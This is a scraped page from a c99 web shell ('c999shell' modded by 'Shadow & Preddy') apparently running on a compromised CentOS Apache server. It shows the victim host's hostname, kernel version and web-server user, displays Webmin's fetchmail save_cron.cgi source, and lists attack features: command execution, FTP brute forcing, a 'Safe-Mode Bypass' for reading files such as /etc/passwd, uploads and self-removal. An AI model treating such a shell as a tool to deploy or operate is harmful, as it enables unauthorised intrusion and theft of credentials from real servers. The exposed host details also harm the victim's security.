!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/fetchmail/   drwxr-xr-x
Free 50.94 GB of 127.8 GB (39.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     save_cron.cgi (1.73 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# save_cron.cgi
# Create, update or delete a cron job for fetchmail

require './fetchmail-lib.pl';
&foreign_require("cron", "cron-lib.pl");
$can_cron || &error($text{'cron_ecannot2'});
&error_setup($text{'cron_err'});
&ReadParse();

@jobs = &cron::list_cron_jobs();
($job) = grep { $_->{'user'} eq $cron_user &&
        $_->{'command'} =~ /^$cron_cmd/ } @jobs;
       
# Validate inputs
$cmd = $cron_cmd;
if ($in{'output'} == 0) {
    $cmd .= " --null";
    }
elsif ($in{'output'} == 1) {
    $in{'file'} =~ /^\/.+$/ || &error($text{'cron_efile'});
    $cmd .= " --file ".quotemeta($in{'file'});
    }
elsif ($in{'output'} == 2) {
    $in{'mail'} =~ /^\S+$/ || &error($text{'cron_efile'});
    $cmd .= " --mail ".quotemeta($in{'mail'});
    }
elsif ($in{'output'} == 3) {
    $cmd .= " --output";
    }
elsif ($in{'output'} == 4) {
    $cmd .= " --owner";
    }
if ($in{'errors'}) {
    $cmd .= " --errors";
    }
if ($cron_user eq "root" && $fetchmail_config) {
    defined(getpwnam($in{'user'})) || &error($text{'cron_euser'});
    $cmd .= " --user $in{'user'}";
    }

if ($job && $in{'enabled'}) {
    # Update cron job
    $job->{'command'} = $cmd;
    &cron::parse_times_input($job, \%in);
    &lock_file(&cron::cron_file($job));
    &cron::change_cron_job($job);
    $what = "update";
    }
elsif (!$job && $in{'enabled'}) {
    # Create job
    $job = { 'user' => $cron_user,
         'command' => $cmd,
         'active' => 1 };
    &cron::parse_times_input($job, \%in);
    &lock_file($cron_cmd);
    &lock_file(&cron::cron_file($job));
    &cron::create_cron_job($job);
    $what = "create";
    }
elsif ($job && !$in{'enabled'}) {
    # Delete job
    &lock_file(&cron::cron_file($job));
    &cron::delete_cron_job($job);
    $what = "delete";
    }
&cron::create_wrapper($cron_cmd, $module_name, "check.pl");
&unlock_all_files();
&webmin_log($what, "cron");
&redirect("");



:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0116 ]--